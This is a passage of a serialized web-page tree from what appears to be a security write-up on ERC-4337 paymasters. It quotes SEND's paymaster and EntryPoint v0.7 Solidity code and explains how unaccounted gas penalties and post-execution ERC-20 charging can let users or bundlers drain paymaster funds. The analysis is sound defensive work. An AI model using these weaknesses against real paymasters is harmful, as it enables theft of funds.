SafeERC20.",{"type":23,"tag":134,"props":103701,"children":103702},{"style":264},[103703],{"type":28,"value":103704},"safeTransfer",{"type":23,"tag":134,"props":103706,"children":103707},{"style":179},[103708],{"type":28,"value":103709},"(token, userOpSender, preCharge ",{"type":23,"tag":134,"props":103711,"children":103712},{"style":168},[103713],{"type":28,"value":1532},{"type":23,"tag":134,"props":103715,"children":103716},{"style":179},[103717],{"type":28,"value":103718}," actualTokenNeeded);\n",{"type":23,"tag":134,"props":103720,"children":103721},{"class":136,"line":80476},[103722,103726,103730,103734,103738,103742],{"type":23,"tag":134,"props":103723,"children":103724},{"style":179},[103725],{"type":28,"value":70104},{"type":23,"tag":134,"props":103727,"children":103728},{"style":189},[103729],{"type":28,"value":490},{"type":23,"tag":134,"props":103731,"children":103732},{"style":189},[103733],{"type":28,"value":15258},{"type":23,"tag":134,"props":103735,"children":103736},{"style":179},[103737],{"type":28,"value":103674},{"type":23,"tag":134,"props":103739,"children":103740},{"style":168},[103741],{"type":28,"value":5262},{"type":23,"tag":134,"props":103743,"children":103744},{"style":179},[103745],{"type":28,"value":103683},{"type":23,"tag":134,"props":103747,"children":103748},{"class":136,"line":80484},[103749],{"type":23,"tag":134,"props":103750,"children":103751},{"style":141},[103752],{"type":28,"value":103753},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":23,"tag":134,"props":103755,"children":103756},{"class":136,"line":80492},[103757],{"type":23,"tag":134,"props":103758,"children":103759},{"style":141},[103760],{"type":28,"value":103761},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":23,"tag":134,"props":103763,"children":103764},{"class":136,"line":80500},[103765,103769,103773,103778,103782,103786,103790,103795,103799],{"type":23,"tag":134,"props":103766,"children":103767},{"style":179},[103768],{"type":28,"value":103699},{"type":23,"tag":134,"props":103770,"children":103771},{"style":264},[103772],{"type":28,"value":103150},{"type":23,"tag":134,"props":103774,"children":103775},{"style":179},[103776],{"type":28,"value":103777},"(token, userOpSender, ",{"type":23,"tag":134,"props":103779,"children":103780},{"style":597},[103781],{"type":28,"value":32136},{"type":23,"tag":134,"props":103783,"children":103784},{"style":179},[103785],{"type":28,"value":272},{"type":23,"tag":134,"props":103787,"children":103788},{"style":151},[103789],{"type":28,"value":17166},{"type":23,"tag":134,"props":103791,"children":103792},{"style":179},[103793],{"type":28,"value":103794},"), actualTokenNeeded ",{"type":23,"tag":134,"props":103796,"children":103797},{"style":168},[103798],{"type":28,"value":1532},{"type":23,"tag":134,"props":103800,"children":103801},{"style":179},[103802],{"type":28,"value":103803}," preCharge);\n",{"type":23,"tag":134,"props":103805,"children":103806},{"class":136,"line":80540},[103807],{"type":23,"tag":134,"props":103808,"children":103809},{"style":179},[103810],{"type":28,"value":58392},{"type":23,"tag":134,"props":103812,"children":103813},{"class":136,"line":80548},[103814],{"type":23,"tag":134,"props":103815,"children":103816},{"emptyLinePlaceholder":15},[103817],{"type":28,"value":865},{"type":23,"tag":134,"props":103819,"children":103820},{"class":136,"line":87735},[103821,103825,103830,103834,103838],{"type":23,"tag":134,"props":103822,"children":103823},{"style":189},[103824],{"type":28,"value":58308},{"type":23,"tag":134,"props":103826,"children":103827},{"style":179},[103828],{"type":28,"value":103829}," (baseFee ",{"type":23,"tag":134,"props":103831,"children":103832},{"style":168},[103833],{"type":28,"value":9927},{"type":23,"tag":134,"props":103835,"children":103836},{"style":205},[103837],{"type":28,"value":208},{"type":23,"tag":134,"props":103839,"children":103840},{"style":179},[103841],{"type":28,"value":14272},{"type":23,"tag":134,"props":103843,"children":103844},{"class":136,"line":87743},[103845,103849,103853],{"type":23,"tag":134,"props":103846,"children":103847},{"style":179},[103848],{"type":28,"value":103699},{"type":23,"tag":134,"props":103850,"children":103851},{"style":264},[103852],{"type":28,"value":103704},{"type":23,"tag":134,"props":103854,"children":103855},{"style":179},[103856],{"type":28,"value":103857},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":23,"tag":134,"props":103859,"children":103860},{"class":136,"line":101089},[103861],{"type":23,"tag":134,"props":103862,"children":103863},{"style":179},[103864],{"type":28,"value":58392},{"type":23,"tag":134,"props":103866,"children":103867},{"class":136,"line":101097},[103868],{"type":23,"tag":134,"props":103869,"children":103870},{"emptyLinePlaceholder":15},[103871],{"type":28,"value":865},{"type":23,"tag":134,"props":103873,"children":103874},{"class":136,"line":101105},[103875,103880,103885],{"type":23,"tag":134,"props":103876,"children":103877},{"style":189},[103878],{"type":28,"value":103879},"            emit",{"type":23,"tag":134,"props":103881,"children":103882},{"style":264},[103883],{"type":28,"value":103884}," UserOperationSponsored",{"type":23,"tag":134,"props":103886,"children":103887},{"style":179},[103888],{"type":28,"value":103889},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":23,"tag":134,"props":103891,"children":103892},{"class":136,"line":101113},[103893,103898],{"type":23,"tag":134,"props":103894,"children":103895},{"style":264},[103896],{"type":28,"value":103897},"            refillEntryPointDeposit",{"type":23,"tag":134,"props":103899,"children":103900},{"style":179},[103901],{"type":28,"value":103902},"(_cachedPrice);\n",{"type":23,"tag":134,"props":103904,"children":103905},{"class":136,"line":101141},[103906],{"type":23,"tag":134,"props":103907,"children":103908},{"style":179},[103909],{"type":28,"value":524},{"type":23,"tag":134,"props":103911,"children":103913},{"class":136,"line":103912},67,[103914],{"type":23,"tag":134,"props":103915,"children":103916},{"style":179},[103917],{"type":28,"value":533},{"type":23,"tag":134,"props":103919,"children":103921},{"class":136,"line":103920},68,[103922],{"type":23,"tag":134,"props":103923,"children":103924},{"style":179},[103925],{"type":28,"value":1098},{"type":23,"tag":24,"props":103927,"children":103928},{},[103929,103931,103937,103939,103944,103946,103952],{"type":28,"value":103930},"Looking at the code above, during ",{"type":23,"tag":92,"props":103932,"children":103934},{"className":103933},[],[103935],{"type":28,"value":103936},"validatePaymasterUserOp",{"type":28,"value":103938},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":92,"props":103940,"children":103942},{"className":103941},[],[103943],{"type":28,"value":101995},{"type":28,"value":103945}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":92,"props":103947,"children":103949},{"className":103948},[],[103950],{"type":28,"value":103951},"postOp",{"type":28,"value":103953},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":24,"props":103955,"children":103956},{},[103957,103959,103964,103966,103973],{"type":28,"value":103958},"However, there is a critical oversight: ",{"type":23,"tag":2532,"props":103960,"children":103961},{},[103962],{"type":28,"value":103963},"the code does not account for gas penalties",{"type":28,"value":103965},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":31,"props":103967,"children":103970},{"href":103968,"rel":103969},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[35],[103971],{"type":28,"value":103972},"penalties incurred",{"type":28,"value":103974}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":24,"props":103976,"children":103977},{},[103978],{"type":28,"value":103979},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":24,"props":103981,"children":103982},{},[103983,103985,103990],{"type":28,"value":103984},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":92,"props":103986,"children":103988},{"className":103987},[],[103989],{"type":28,"value":101694},{"type":28,"value":103991}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":61,"props":103993,"children":103995},{"id":103994},"incorrect-erc-20-handling",[103996],{"type":23,"tag":2532,"props":103997,"children":103998},{},[103999],{"type":28,"value":104000},"Incorrect ERC-20 Handling",{"type":23,"tag":24,"props":104002,"children":104003},{},[104004],{"type":28,"value":104005},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":24,"props":104007,"children":104008},{},[104009,104010,104015,104017,104022],{"type":28,"value":44800},{"type":23,"tag":92,"props":104011,"children":104013},{"className":104012},[],[104014],{"type":28,"value":101775},{"type":28,"value":104016}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":92,"props":104018,"children":104020},{"className":104019},[],[104021],{"type":28,"value":101694},{"type":28,"value":104023},"'s lifecycle:",{"type":23,"tag":4890,"props":104025,"children":104026},{},[104027,104037],{"type":23,"tag":4894,"props":104028,"children":104029},{},[104030,104032],{"type":28,"value":104031},"During validation via ",{"type":23,"tag":92,"props":104033,"children":104035},{"className":104034},[],[104036],{"type":28,"value":101882},{"type":23,"tag":4894,"props":104038,"children":104039},{},[104040,104042],{"type":28,"value":104041},"After execution via ",{"type":23,"tag":92,"props":104043,"children":104045},{"className":104044},[],[104046],{"type":28,"value":101893},{"type":23,"tag":24,"props":104048,"children":104049},{},[104050],{"type":28,"value":104051},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":9072,"props":104053,"children":104055},{"id":104054},"_1-pre-payment-with-refund-pattern",[104056],{"type":28,"value":104057},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":24,"props":104059,"children":104060},{},[104061,104063,104068,104070,104075,104077,104083,104084,104090,104092,104097,104099,104104,104106,104111],{"type":28,"value":104062},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":92,"props":104064,"children":104066},{"className":104065},[],[104067],{"type":28,"value":101882},{"type":28,"value":104069},". After execution completes, ",{"type":23,"tag":92,"props":104071,"children":104073},{"className":104072},[],[104074],{"type":28,"value":101893},{"type":28,"value":104076}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":92,"props":104078,"children":104080},{"className":104079},[],[104081],{"type":28,"value":104082},"SEND",{"type":28,"value":10458},{"type":23,"tag":92,"props":104085,"children":104087},{"className":104086},[],[104088],{"type":28,"value":104089},"Circle",{"type":28,"value":104091}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":92,"props":104093,"children":104095},{"className":104094},[],[104096],{"type":28,"value":101723},{"type":28,"value":104098},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":2532,"props":104100,"children":104101},{},[104102],{"type":28,"value":104103},"before",{"type":28,"value":104105}," execution (specifically during ",{"type":23,"tag":92,"props":104107,"children":104109},{"className":104108},[],[104110],{"type":28,"value":103936},{"type":28,"value":20220},{"type":23,"tag":9072,"props":104113,"children":104115},{"id":104114},"_2-post-execution-charging-pattern",[104116],{"type":28,"value":104117},"2. Post-Execution Charging Pattern",{"type":23,"tag":24,"props":104119,"children":104120},{},[104121,104123,104128,104130,104135,104137,104142,104144,104149],{"type":28,"value":104122},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":92,"props":104124,"children":104126},{"className":104125},[],[104127],{"type":28,"value":101882},{"type":28,"value":104129},", the actual token payment is calculated and collected in ",{"type":23,"tag":92,"props":104131,"children":104133},{"className":104132},[],[104134],{"type":28,"value":101893},{"type":28,"value":104136}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":92,"props":104138,"children":104140},{"className":104139},[],[104141],{"type":28,"value":101694},{"type":28,"value":104143},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":92,"props":104145,"children":104147},{"className":104146},[],[104148],{"type":28,"value":101995},{"type":28,"value":104150},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":24,"props":104152,"children":104153},{},[104154,104156,104161,104163,104169,104171,104177,104179,104184],{"type":28,"value":104155},"This approach used to work in ",{"type":23,"tag":92,"props":104157,"children":104159},{"className":104158},[],[104160],{"type":28,"value":101775},{"type":28,"value":104162}," version ",{"type":23,"tag":92,"props":104164,"children":104166},{"className":104165},[],[104167],{"type":28,"value":104168},"v0.6",{"type":28,"value":104170},", but the pattern no longer works in ",{"type":23,"tag":92,"props":104172,"children":104174},{"className":104173},[],[104175],{"type":28,"value":104176},"v0.7",{"type":28,"value":104178},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":92,"props":104180,"children":104182},{"className":104181},[],[104183],{"type":28,"value":104176},{"type":28,"value":104185}," handles the execution phase:",{"type":23,"tag":87,"props":104187,"children":104189},{"className":1680,"code":104188,"language":1679,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[104190],{"type":23,"tag":92,"props":104191,"children":104192},{"__ignoreMap":7},[104193,104209,104225,104245,104262,104269,104282,104306,104314,104327,104334,104341,104362,104401,104438,104450,104457,104493,104500,104521,104610,104639,104646,104659,104666,104686,104693,104714,104722,104730,104757,104785,104793,104836,104856,104869,104891,104907,104922,104929,104949,104957,104965,104973,104981,104989,104996,105003],{"type":23,"tag":134,"props":104194,"children":104195},{"class":136,"line":137},[104196,104200,104205],{"type":23,"tag":134,"props":104197,"children":104198},{"style":151},[104199],{"type":28,"value":89343},{"type":23,"tag":134,"props":104201,"children":104202},{"style":264},[104203],{"type":28,"value":104204}," _executeUserOp",{"type":23,"tag":134,"props":104206,"children":104207},{"style":179},[104208],{"type":28,"value":642},{"type":23,"tag":134,"props":104210,"children":104211},{"class":136,"line":147},[104212,104216,104221],{"type":23,"tag":134,"props":104213,"children":104214},{"style":597},[104215],{"type":28,"value":89521},{"type":23,"tag":134,"props":104217,"children":104218},{"style":162},[104219],{"type":28,"value":104220}," opIndex",{"type":23,"tag":134,"props":104222,"children":104223},{"style":179},[104224],{"type":28,"value":687},{"type":23,"tag":134,"props":104226,"children":104227},{"class":136,"line":185},[104228,104233,104237,104241],{"type":23,"tag":134,"props":104229,"children":104230},{"style":151},[104231],{"type":28,"value":104232},"        PackedUserOperation",{"type":23,"tag":134,"props":104234,"children":104235},{"style":151},[104236],{"type":28,"value":102524},{"type":23,"tag":134,"props":104238,"children":104239},{"style":162},[104240],{"type":28,"value":102529},{"type":23,"tag":134,"props":104242,"children":104243},{"style":179},[104244],{"type":28,"value":687},{"type":23,"tag":134,"props":104246,"children":104247},{"class":136,"line":221},[104248,104253,104257],{"type":23,"tag":134,"props":104249,"children":104250},{"style":151},[104251],{"type":28,"value":104252},"        UserOpInfo",{"type":23,"tag":134,"props":104254,"children":104255},{"style":151},[104256],{"type":28,"value":102592},{"type":23,"tag":134,"props":104258,"children":104259},{"style":162},[104260],{"type":28,"value":104261}," opInfo\n",{"type":23,"tag":134,"props":104263,"children":104264},{"class":136,"line":332},[104265],{"type":23,"tag":134,"props":104266,"children":104267},{"style":179},[104268],{"type":28,"value":23409},{"type":23,"tag":134,"props":104270,"children":104271},{"class":136,"line":438},[104272,104277],{"type":23,"tag":134,"props":104273,"children":104274},{"style":151},[104275],{"type":28,"value":104276},"    internal",{"type":23,"tag":134,"props":104278,"children":104279},{"style":151},[104280],{"type":28,"value":104281}," virtual\n",{"type":23,"tag":134,"props":104283,"children":104284},{"class":136,"line":466},[104285,104289,104293,104297,104302],{"type":23,"tag":134,"props":104286,"children":104287},{"style":189},[104288],{"type":28,"value":46013},{"type":23,"tag":134,"props":104290,"children":104291},{"style":179},[104292],{"type":28,"value":232},{"type":23,"tag":134,"props":104294,"children":104295},{"style":597},[104296],{"type":28,"value":45672},{"type":23,"tag":134,"props":104298,"children":104299},{"style":162},[104300],{"type":28,"value":104301}," collected",{"type":23,"tag":134,"props":104303,"children":104304},{"style":179},[104305],{"type":28,"value":14272},{"type":23,"tag":134,"props":104307,"children":104308},{"class":136,"line":479},[104309],{"type":23,"tag":134,"props":104310,"children":104311},{"style":179},[104312],{"type":28,"value":104313},"    [...]\n",{"type":23,"tag":134,"props":104315,"children":104316},{"class":136,"line":497},[104317,104322],{"type":23,"tag":134,"props":104318,"children":104319},{"style":597},[104320],{"type":28,"value":104321},"        bool",{"type":23,"tag":134,"props":104323,"children":104324},{"style":179},[104325],{"type":28,"value":104326}," success;\n",{"type":23,"tag":134,"props":104328,"children":104329},{"class":136,"line":518},[104330],{"type":23,"tag":134,"props":104331,"children":104332},{"style":179},[104333],{"type":28,"value":31154},{"type":23,"tag":134,"props":104335,"children":104336},{"class":136,"line":527},[104337],{"type":23,"tag":134,"props":104338,"children":104339},{"style":179},[104340],{"type":28,"value":104313},{"type":23,"tag":134,"props":104342,"children":104343},{"class":136,"line":780},[104344,104348,104353,104357],{"type":23,"tag":134,"props":104345,"children":104346},{"style":189},[104347],{"type":28,"value":58308},{"type":23,"tag":134,"props":104349,"children":104350},{"style":179},[104351],{"type":28,"value":104352}," (methodSig ",{"type":23,"tag":134,"props":104354,"children":104355},{"style":168},[104356],{"type":28,"value":8035},{"type":23,"tag":134,"props":104358,"children":104359},{"style":179},[104360],{"type":28,"value":104361}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":134,"props":104363,"children":104364},{"class":136,"line":797},[104365,104370,104374,104379,104383,104387,104391,104396],{"type":23,"tag":134,"props":104366,"children":104367},{"style":597},[104368],{"type":28,"value":104369},"                bytes",{"type":23,"tag":134,"props":104371,"children":104372},{"style":151},[104373],{"type":28,"value":102592},{"type":23,"tag":134,"props":104375,"children":104376},{"style":179},[104377],{"type":28,"value":104378}," executeUserOp ",{"type":23,"tag":134,"props":104380,"children":104381},{"style":168},[104382],{"type":28,"value":257},{"type":23,"tag":134,"props":104384,"children":104385},{"style":151},[104386],{"type":28,"value":103189},{"type":23,"tag":134,"props":104388,"children":104389},{"style":179},[104390],{"type":28,"value":720},{"type":23,"tag":134,"props":104392,"children":104393},{"style":264},[104394],{"type":28,"value":104395},"encodeCall",{"type":23,"tag":134,"props":104397,"children":104398},{"style":179},[104399],{"type":28,"value":104400},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":134,"props":104402,"children":104403},{"class":136,"line":814},[104404,104409,104413,104417,104421,104425,104429,104433],{"type":23,"tag":134,"props":104405,"children":104406},{"style":179},[104407],{"type":28,"value":104408},"                innerCall ",{"type":23,"tag":134,"props":104410,"children":104411},{"style":168},[104412],{"type":28,"value":257},{"type":23,"tag":134,"props":104414,"children":104415},{"style":151},[104416],{"type":28,"value":103189},{"type":23,"tag":134,"props":104418,"children":104419},{"style":179},[104420],{"type":28,"value":720},{"type":23,"tag":134,"props":104422,"children":104423},{"style":264},[104424],{"type":28,"value":104395},{"type":23,"tag":134,"props":104426,"children":104427},{"style":179},[104428],{"type":28,"value":272},{"type":23,"tag":134,"props":104430,"children":104431},{"style":151},[104432],{"type":28,"value":17166},{"type":23,"tag":134,"props":104434,"children":104435},{"style":179},[104436],{"type":28,"value":104437},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":134,"props":104439,"children":104440},{"class":136,"line":827},[104441,104445],{"type":23,"tag":134,"props":104442,"children":104443},{"style":179},[104444],{"type":28,"value":70104},{"type":23,"tag":134,"props":104446,"children":104447},{"style":189},[104448],{"type":28,"value":104449},"else\n",{"type":23,"tag":134,"props":104451,"children":104452},{"class":136,"line":836},[104453],{"type":23,"tag":134,"props":104454,"children":104455},{"style":179},[104456],{"type":28,"value":31190},{"type":23,"tag":134,"props":104458,"children":104459},{"class":136,"line":859},[104460,104464,104468,104472,104476,104480,104484,104488],{"type":23,"tag":134,"props":104461,"children":104462},{"style":179},[104463],{"type":28,"value":104408},{"type":23,"tag":134,"props":104465,"children":104466},{"style":168},[104467],{"type":28,"value":257},{"type":23,"tag":134,"props":104469,"children":104470},{"style":151},[104471],{"type":28,"value":103189},{"type":23,"tag":134,"props":104473,"children":104474},{"style":179},[104475],{"type":28,"value":720},{"type":23,"tag":134,"props":104477,"children":104478},{"style":264},[104479],{"type":28,"value":104395},{"type":23,"tag":134,"props":104481,"children":104482},{"style":179},[104483],{"type":28,"value":272},{"type":23,"tag":134,"props":104485,"children":104486},{"style":151},[104487],{"type":28,"value":17166},{"type":23,"tag":134,"props":104489,"children":104490},{"style":179},[104491],{"type":28,"value":104492},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":134,"props":104494,"children":104495},{"class":136,"line":868},[104496],{"type":23,"tag":134,"props":104497,"children":104498},{"style":179},[104499],{"type":28,"value":58392},{"type":23,"tag":134,"props":104501,"children":104502},{"class":136,"line":877},[104503,104508,104512,104517],{"type":23,"tag":134,"props":104504,"children":104505},{"style":264},[104506],{"type":28,"value":104507},"            assembly",{"type":23,"tag":134,"props":104509,"children":104510},{"style":179},[104511],{"type":28,"value":232},{"type":23,"tag":134,"props":104513,"children":104514},{"style":1461},[104515],{"type":28,"value":104516},"\"memory-safe\"",{"type":23,"tag":134,"props":104518,"children":104519},{"style":179},[104520],{"type":28,"value":14272},{"type":23,"tag":134,"props":104522,"children":104523},{"class":136,"line":946},[104524,104529,104533,104537,104541,104546,104550,104554,104558,104562,104566,104570,104575,104580,104584,104589,104594,104598,104602,104606],{"type":23,"tag":134,"props":104525,"children":104526},{"style":179},[104527],{"type":28,"value":104528},"                success ",{"type":23,"tag":134,"props":104530,"children":104531},{"style":168},[104532],{"type":28,"value":21085},{"type":23,"tag":134,"props":104534,"children":104535},{"style":264},[104536],{"type":28,"value":40462},{"type":23,"tag":134,"props":104538,"children":104539},{"style":179},[104540],{"type":28,"value":272},{"type":23,"tag":134,"props":104542,"children":104543},{"style":264},[104544],{"type":28,"value":104545},"gas",{"type":23,"tag":134,"props":104547,"children":104548},{"style":179},[104549],{"type":28,"value":17849},{"type":23,"tag":134,"props":104551,"children":104552},{"style":597},[104553],{"type":28,"value":32136},{"type":23,"tag":134,"props":104555,"children":104556},{"style":179},[104557],{"type":28,"value":17849},{"type":23,"tag":134,"props":104559,"children":104560},{"style":205},[104561],{"type":28,"value":1224},{"type":23,"tag":134,"props":104563,"children":104564},{"style":179},[104565],{"type":28,"value":242},{"type":23,"tag":134,"props":104567,"children":104568},{"style":264},[104569],{"type":28,"value":9102},{"type":23,"tag":134,"props":104571,"children":104572},{"style":179},[104573],{"type":28,"value":104574},"(innerCall, ",{"type":23,"tag":134,"props":104576,"children":104577},{"style":205},[104578],{"type":28,"value":104579},"0x20",{"type":23,"tag":134,"props":104581,"children":104582},{"style":179},[104583],{"type":28,"value":14646},{"type":23,"tag":134,"props":104585,"children":104586},{"style":264},[104587],{"type":28,"value":104588},"mload",{"type":23,"tag":134,"props":104590,"children":104591},{"style":179},[104592],{"type":28,"value":104593},"(innerCall), ",{"type":23,"tag":134,"props":104595,"children":104596},{"style":205},[104597],{"type":28,"value":1224},{"type":23,"tag":134,"props":104599,"children":104600},{"style":179},[104601],{"type":28,"value":242},{"type":23,"tag":134,"props":104603,"children":104604},{"style":205},[104605],{"type":28,"value":59854},{"type":23,"tag":134,"props":104607,"children":104608},{"style":179},[104609],{"type":28,"value":329},{"type":23,"tag":134,"props":104611,"children":104612},{"class":136,"line":954},[104613,104618,104622,104627,104631,104635],{"type":23,"tag":134,"props":104614,"children":104615},{"style":179},[104616],{"type":28,"value":104617},"                collected ",{"type":23,"tag":134,"props":104619,"children":104620},{"style":168},[104621],{"type":28,"value":21085},{"type":23,"tag":134,"props":104623,"children":104624},{"style":264},[104625],{"type":28,"value":104626}," mload",{"type":23,"tag":134,"props":104628,"children":104629},{"style":179},[104630],{"type":28,"value":272},{"type":23,"tag":134,"props":104632,"children":104633},{"style":205},[104634],{"type":28,"value":1224},{"type":23,"tag":134,"props":104636,"children":104637},{"style":179},[104638],{"type":28,"value":329},{"type":23,"tag":134,"props":104640,"children":104641},{"class":136,"line":984},[104642],{"type":23,"tag":134,"props":104643,"children":104644},{"style":179},[104645],{"type":28,"value":58392},{"type":23,"tag":134,"props":104647,"children":104648},{"class":136,"line":992},[104649,104654],{"type":23,"tag":134,"props":104650,"children":104651},{"style":264},[104652],{"type":28,"value":104653},"            _restoreFreePtr",{"type":23,"tag":134,"props":104655,"children":104656},{"style":179},[104657],{"type":28,"value":104658},"(saveFreePtr);\n",{"type":23,"tag":134,"props":104660,"children":104661},{"class":136,"line":1024},[104662],{"type":23,"tag":134,"props":104663,"children":104664},{"style":179},[104665],{"type":28,"value":524},{"type":23,"tag":134,"props":104667,"children":104668},{"class":136,"line":1032},[104669,104673,104677,104681],{"type":23,"tag":134,"props":104670,"children":104671},{"style":189},[104672],{"type":28,"value":444},{"type":23,"tag":134,"props":104674,"children":104675},{"style":179},[104676],{"type":28,"value":232},{"type":23,"tag":134,"props":104678,"children":104679},{"style":168},[104680],{"type":28,"value":20099},{"type":23,"tag":134,"props":104682,"children":104683},{"style":179},[104684],{"type":28,"value":104685},"success) {\n",{"type":23,"tag":134,"props":104687,"children":104688},{"class":136,"line":1092},[104689],{"type":23,"tag":134,"props":104690,"children":104691},{"style":179},[104692],{"type":28,"value":104313},{"type":23,"tag":134,"props":104694,"children":104695},{"class":136,"line":8508},[104696,104700,104705,104709],{"type":23,"tag":134,"props":104697,"children":104698},{"style":189},[104699],{"type":28,"value":58308},{"type":23,"tag":134,"props":104701,"children":104702},{"style":179},[104703],{"type":28,"value":104704}," (innerRevertCode ",{"type":23,"tag":134,"props":104706,"children":104707},{"style":168},[104708],{"type":28,"value":8035},{"type":23,"tag":134,"props":104710,"children":104711},{"style":179},[104712],{"type":28,"value":104713}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":134,"props":104715,"children":104716},{"class":136,"line":8526},[104717],{"type":23,"tag":134,"props":104718,"children":104719},{"style":141},[104720],{"type":28,"value":104721},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":134,"props":104723,"children":104724},{"class":136,"line":8571},[104725],{"type":23,"tag":134,"props":104726,"children":104727},{"style":141},[104728],{"type":28,"value":104729},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":134,"props":104731,"children":104732},{"class":136,"line":8677},[104733,104738,104743,104748,104753],{"type":23,"tag":134,"props":104734,"children":104735},{"style":189},[104736],{"type":28,"value":104737},"                revert",{"type":23,"tag":134,"props":104739,"children":104740},{"style":264},[104741],{"type":28,"value":104742}," FailedOp",{"type":23,"tag":134,"props":104744,"children":104745},{"style":179},[104746],{"type":28,"value":104747},"(opIndex, ",{"type":23,"tag":134,"props":104749,"children":104750},{"style":1461},[104751],{"type":28,"value":104752},"\"AA95 out of gas\"",{"type":23,"tag":134,"props":104754,"children":104755},{"style":179},[104756],{"type":28,"value":1021},{"type":23,"tag":134,"props":104758,"children":104759},{"class":136,"line":22988},[104760,104764,104768,104772,104776,104780],{"type":23,"tag":134,"props":104761,"children":104762},{"style":179},[104763],{"type":28,"value":70104},{"type":23,"tag":134,"props":104765,"children":104766},{"style":189},[104767],{"type":28,"value":490},{"type":23,"tag":134,"props":104769,"children":104770},{"style":189},[104771],{"type":28,"value":15258},{"type":23,"tag":134,"props":104773,"children":104774},{"style":179},[104775],{"type":28,"value":104704},{"type":23,"tag":134,"props":104777,"children":104778},{"style":168},[104779],{"type":28,"value":8035},{"type":23,"tag":134,"props":104781,"children":104782},{"style":179},[104783],{"type":28,"value":104784}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":134,"props":104786,"children":104787},{"class":136,"line":23023},[104788],{"type":23,"tag":134,"props":104789,"children":104790},{"style":141},[104791],{"type":28,"value":104792},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":134,"props":104794,"children":104795},{"class":136,"line":23031},[104796,104800,104805,104809,104814,104818,104823,104827,104831],{"type":23,"tag":134,"props":104797,"children":104798},{"style":597},[104799],{"type":28,"value":102972},{"type":23,"tag":134,"props":104801,"children":104802},{"style":179},[104803],{"type":28,"value":104804}," actualGas 